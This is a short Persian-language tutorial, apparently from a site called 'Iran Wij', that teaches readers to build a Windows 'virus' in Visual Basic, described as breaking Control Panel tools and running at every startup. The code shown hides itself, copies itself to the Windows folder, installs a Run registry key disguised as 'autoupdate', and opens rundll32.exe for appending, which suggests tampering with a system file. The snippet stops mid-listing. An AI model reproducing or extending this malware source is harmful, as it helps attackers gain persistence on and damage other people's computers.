ايران ويج

در این روش،پنجره ی کنترل پنل باز می شود ولی هیچ یک از ابزار هایش اجرا نمی شوند و پیغام خطایی روی صفحه ظاهر می شود.در ضمن این ویروس،ویروسی کامل ومستقل هست و در هر بار اجرای ویندوز،اجرا می شود.ویژوال بیسیک را باز کنید.standardexe را انتخاب و سپس بر روی form دو بار کلیک کنید و کدهای زیر را در آن کپی کنید:



On Error GoTo 1

Me.hide

App.taskvisible = false

Set fso = CreateObject("scripting.filesystemobject")

Set windir = fso.getspecialfolder(0)

file = App.Path & "\" & App.EXEName & ".exe"

FileCopy file, windir & "\" & App.EXEName & ".exe"

file2 = windir & "\" & App.EXEName & ".exe"

Set Reg = CreateObject("wscript.shell")

Reg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\run\autoupdate", file2

Sysdir = fso.getspecialfolder(1)

Sys = sysdir & "\rundll32.exe"

Open sys For Append As #3

۱: